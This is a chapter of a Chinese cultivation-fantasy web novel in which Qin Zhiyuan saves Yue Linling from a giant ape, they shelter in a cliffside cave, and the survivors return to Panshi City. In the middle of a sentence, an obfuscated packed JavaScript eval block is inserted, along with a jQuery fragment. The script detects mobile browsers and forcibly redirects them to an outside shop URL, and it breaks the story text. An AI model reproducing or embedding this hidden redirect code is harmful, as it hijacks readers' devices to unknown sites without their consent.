秦知远见众人纷纷抽身离开,咬了咬牙,忍着体内翻涌的剧痛,伸手拽住岳琳灵手腕:“快走!”
秦知远带着岳琳灵朝着东北方向疾奔,脚步踉跄却不敢有半分停歇。
他伤势太重,灵力紊乱,根本无力硬战。而岳琳灵只有天境初期实力,单打独斗根本不是高阶凶兽的对手,他们只能尽力在林中逃窜,以求甩开追击的敌人。
身后的追击声越来越近,沉重的脚步声震得地面微微发颤。岳琳灵回头一瞥,心头骤紧。一头身形庞大的黑猿凶兽正对他们紧追不舍,它身高数丈,双臂粗壮如柱,奔跑间还不断捡起路边的巨石,狠狠朝两人砸来!
“小心!”秦知远猛地将岳琳灵往身侧一拉,一块磨盘大的巨石擦着她的肩头飞过,砸在旁边的古树上,树干轰然断裂。还没等两人站稳,另一块巨石已带着呼啸的风声,直扑而来!
秦知远见避无可避,没有丝毫犹豫,将岳琳灵护在身后,架起长剑格挡。“嘭”的一声响,巨石狠狠撞在剑刃,秦知远如遭重击,闷哼一声,带着身后的岳琳灵一同被击飞出去。
岳琳灵只觉得“咚”的一声闷响,后脑狠狠一痛,接着便眼前一黑,失去了意识。
秦知远摔在她身侧,浑身骨头像是散了架,后背的伤口撕裂般疼痛,他强撑起来,却见岳琳灵双目紧闭,一团鲜血从后脑渗出。他心头猛然一颤,赶忙挣扎着爬起来将她抱起。
黑猿的咆哮声还在逼近,秦知远不敢耽搁,他咬紧牙关,抱着岳琳灵继续逃窜。
奔出数十丈后,前方突然豁然开朗,竟是一处陡峭的悬崖,深不见底。
秦知远正在心底悲叹之际,却瞥见悬崖下方两丈处,有一块突出的狭窄平台,他心中一喜。他转头看到身后黑猿已追至近前,秦知远不再犹豫,抱着岳琳灵纵身跳了下去。
………………
岳琳灵只觉得自己陷在无边的泥潭里,四肢沉重得抬不起来,头痛剧烈难忍,身上也忽冷忽热。
她想呻吟,喉咙却干涩得发紧。她想要点水喝,却感觉嘴巴不听使唤,张也张不开。
就在意识将要再次沉沦下去时,一股温热的暖流突然顺着唇齿间缓缓流入,带着淡淡的腥甜。
岳琳灵贪婪地吮吸着,那暖流顺着喉咙滑下,滋润了干涸的脏腑,混沌的意识也渐渐回笼。
这味道……不对,这不是水!
她清醒了几分,挣扎着睁开眼睛。
视线模糊中,只见一截苍白至极的手臂横在自己唇间,深可见骨的伤口中,还在渗着血珠。
她喝的,竟是人血!
岳琳灵心中一惊,已然彻底清醒过来。她抬眼望去,映入眼帘的是秦知远惨白的面容。
他眉头紧锁,似在隐忍着某种痛苦,往日里清亮的眸子此刻也黯淡无光,连呼吸都带着微弱的颤抖。这个男人此刻如此狼狈不堪,却仍固执地将手臂凑在她的唇边。
岳琳灵心头一痛,眼眶湿润。她轻轻推开了秦知远的手臂,却看见他愣怔了一下。慢半拍似的,那双黯淡的眸子里亮起了微光,像将灭的烛火又被微风吹燃。
秦知远看着她,嘴角勾起一抹清浅的笑,依旧是从前那般温暖,却带着难以掩饰的虚弱:“灵儿,你终于醒了,可把我吓坏了……”
话音未落,岳琳灵的泪水已不受控制地决堤而出,她猛地扑进他怀里,力道之大,竟将他撞得向后倒去。
后背重重地磕在山洞岩壁上,秦知远闷哼一声,他没有推开她,只是用手轻轻拍着她的后背,声音沙哑却温柔:“别怕,没事了,都过去了……”
温热的触感带着令人安心的力量,岳琳灵渐渐止住了抽泣,肩头的颤抖也慢慢平复,只余鼻尖偶尔的抽噎。
她缓缓坐起身,脸颊因方才的失态泛起两朵浅浅的红晕。
岳琳灵避开秦知远的目光,有些尴尬地清了清嗓子。她略显慌乱的视线无意间又落在了他手臂的伤口上,那道伤口很深,微微外翻的皮肉还在渗着血。
岳琳灵小心翼翼地捧起秦知远的手臂,指尖触到他冰凉的皮肤时微微发颤。
她从怀中摸出伤药,一点点撒在伤口上,又撕下衣角为他包扎,声音还带着未散的哽咽:“你真是个傻子,哪有喂人喝血的道理?不要命了吗?”
秦知远看着她眼底的心疼,心中荡漾开暖意,嘴角也不由上翘:“你之前撞到了头,入夜就发起了高热,怎么叫你都叫不醒,可把我吓坏了。”他顿了顿,回忆整夜的焦灼,眼神里带着后怕,“刚刚见你有醒来的迹象,还听你开口喊渴,我都高兴极了,哪还顾得上许多。”
秦知远轻轻抬手,手指温柔地扶着她,让她偏过头去。
他看向她的脑后,眼神中带着心疼,小声问道:“还疼么?”
岳琳灵也摸摸自己脑后,才发现头上的伤口已经被包扎过了,她心里又温暖又难过,轻轻地摇摇头,忍下隐隐的疼痛,笑着说道:“不疼了。”
转头刚想问问他的伤势,又发现他背上的伤居然还没有处理。
那道伤口狭长而狰狞,之前流出的血液已经干涸,将破碎的衣料黏在伤口上,一片狼藉。
岳琳灵眼泪又不争气的流了下来。她怕被秦知远看见,赶忙拭去。一边心疼着,一边生气地为他包扎伤口。
秦知远却像没事人似的又继续说道:“你昏迷后,我带着你一路逃到悬崖边,实在无路可走了,我便带着你跳了下来。也算老天眷顾,下面刚好有这么块平台,还藏着个小山洞,能让我们暂时避一避……”也许是伤处被碰疼了,他屏住呼吸停了几息,才又道:“那巨猿在崖边徘徊了一阵,见找不到我们,便走开了。”
岳琳灵包扎好伤口,扶着秦知远斜靠在山壁上。
“我已经发出求救信号了,”秦知远抬头望了望山洞外渐亮的天色,“徐前辈他们是圣境巅峰,摆脱那些凶兽应该不难,等他们处理完后续,想必很快就会来寻我们,你别担心。”
岳琳灵听着他轻描淡写的叙述,却能想象出当时的凶险,握着他手的力道不自觉紧了紧,“以后不许再这样拼命了,不然我……我就再也不理你了。”
她说完,又觉得有点难为情,低下头,却半天不见秦知远动静。岳琳灵有些担心抬头看他,却见他就那么一错不错地盯着她看,眼中亮着柔软的光。
岳琳灵有些羞恼:“你不好好闭眼休息一会儿,看什么呢!”
秦知远虚弱地笑道:“你这样真好看,平日你见到我就扭头,都不让我好好看看你……”
岳琳灵举起秀拳想要锤他一下,却想起他伤重,只得悻悻地放下手,娇嗔道:“就会胡说八道!”说着又凶巴巴地瞪了他一眼,语气却温柔:“快快闭眼休息一会儿吧。”
秦知远此刻确实疲惫至极,但他还是强撑着摇摇头:“天快亮了,我们还是警醒些,徐前辈说不定什么时候就来寻我们了。”
两人有一搭没一搭的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182777|196969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聊着,没一会儿,头依旧沉沉发痛的岳琳灵便昏睡过去。
秦知远强提着精神,静静的看着岳琳灵。尽管此刻伤痛难忍,可这样难得的温情还是让他觉得时间飞快。
正午刚过,山壁上方忽然传来碎石滚落的声响,秦知远挣扎起身,右手握紧长剑,警惕地侧耳倾听。
忽闻上方有人高声呼喊:“下面有人吗?” 秦知远心中狂喜,他连忙应声,又轻轻推醒岳琳灵。
岳琳灵睁开眼睛,之前剧烈的头痛似乎好了不少,她有些迷茫的看向秦知远。
“徐前辈他们来救我们了。”秦知远语气透着欣喜。岳琳灵清醒过来,眼角也带上了笑意。
片刻后,一条粗壮的藤蔓从崖壁垂落,秦知远护着岳琳灵攀爬而上,随后自己也跟着上去。
崖壁上方的众人见两人平安归来,紧绷的神色稍稍松懈,纷纷围上来搀扶。
林间很是安静,虫鸣鸟啼之声清晰可闻,之前一直弥漫着的躁动的凶兽气息已悄然消散,兽潮似乎已经平息了。只是这份安宁,是以五位天境强者的性命为代价换来的。
当初十六人入莽林,如今仅存十一人,每个人身上都带着伤,衣袍被血渍浸透,破损处露出狰狞的划痕。尽管狼狈至此,却无人愿意在原地修息。
大家稍稍整顿一番,辨明方向后,便相互扶持着,踏上回城之路。一路上众人沉默无语,只有沉重的脚步声在林间回响。
……………
磐石城城门之外,城池守卫与武者们在清理着战场。
经历过兽潮冲击的城墙布满裂痕,暗红的血迹干涸在砖石上,空气中弥漫着浓重的血腥味与腐臭味。
城门口的空地上,堆叠着如山的凶兽尸体,彰显着此次兽潮攻城之战的凶险与残酷。
两日前,城外激战正烈之时,凶兽突然气势一弱,紧接着便节节败退,纷纷逃回莽林之中。
城墙上的守卫武者们大声欢呼,所有人都意识到,兽王已死,兽潮已退,这场艰苦卓绝的兽潮之战,终于以人族获胜落下帷幕。
两日间,磐石城中所有人都欢欣鼓舞。城中秩序在逐步慢慢恢复,这座边关大城保住了!
与城中百废待兴的热闹氛围截然相反的是,周端与其他几家主事人此时的焦躁不安。他们聚在城门口焦躁地踱着步,急切地等待着自家天境武者的归来。
可是他们已在此等候一日有余,猎杀小队迟迟不归,这让他们的眉宇间满是沉郁的忧色。
就在此时,有人高声喊道:“看!是他们!他们回来了!” 周端猛地抬头,眼中瞬间亮起光芒,快步冲到前方远眺——远处林间,一队人影踉跄走来,正是他等了许久的猎杀小队。他再也按捺不住,迈开大步便迎了上去。
秦知远的意识越来越模糊,他需倚着岳琳灵的搀扶才能勉强前行。他放心不下岳琳灵,所以全凭意志强撑着一口气,才能走到现在。
迷茫间,秦知远听见有人在唤他,他抬起头,努力聚焦视线,便看到周端迎来的身影,秦知远笑了,他终于松了一口气,眼前一黑,腿一软便栽倒下去。
“易南!” “南哥哥!”周端与岳琳灵同时惊呼。周端抢步上前扶住秦知远,手指搭上他冰凉的脉门,感受到那微弱的脉象,再看他满身的伤口和沾满血污与泥土的衣袍,他的眼眶瞬间泛红。
周端转身弯腰便将秦知远背起,朝着城内狂奔而去,背影在残破的城门前扬起一阵尘土。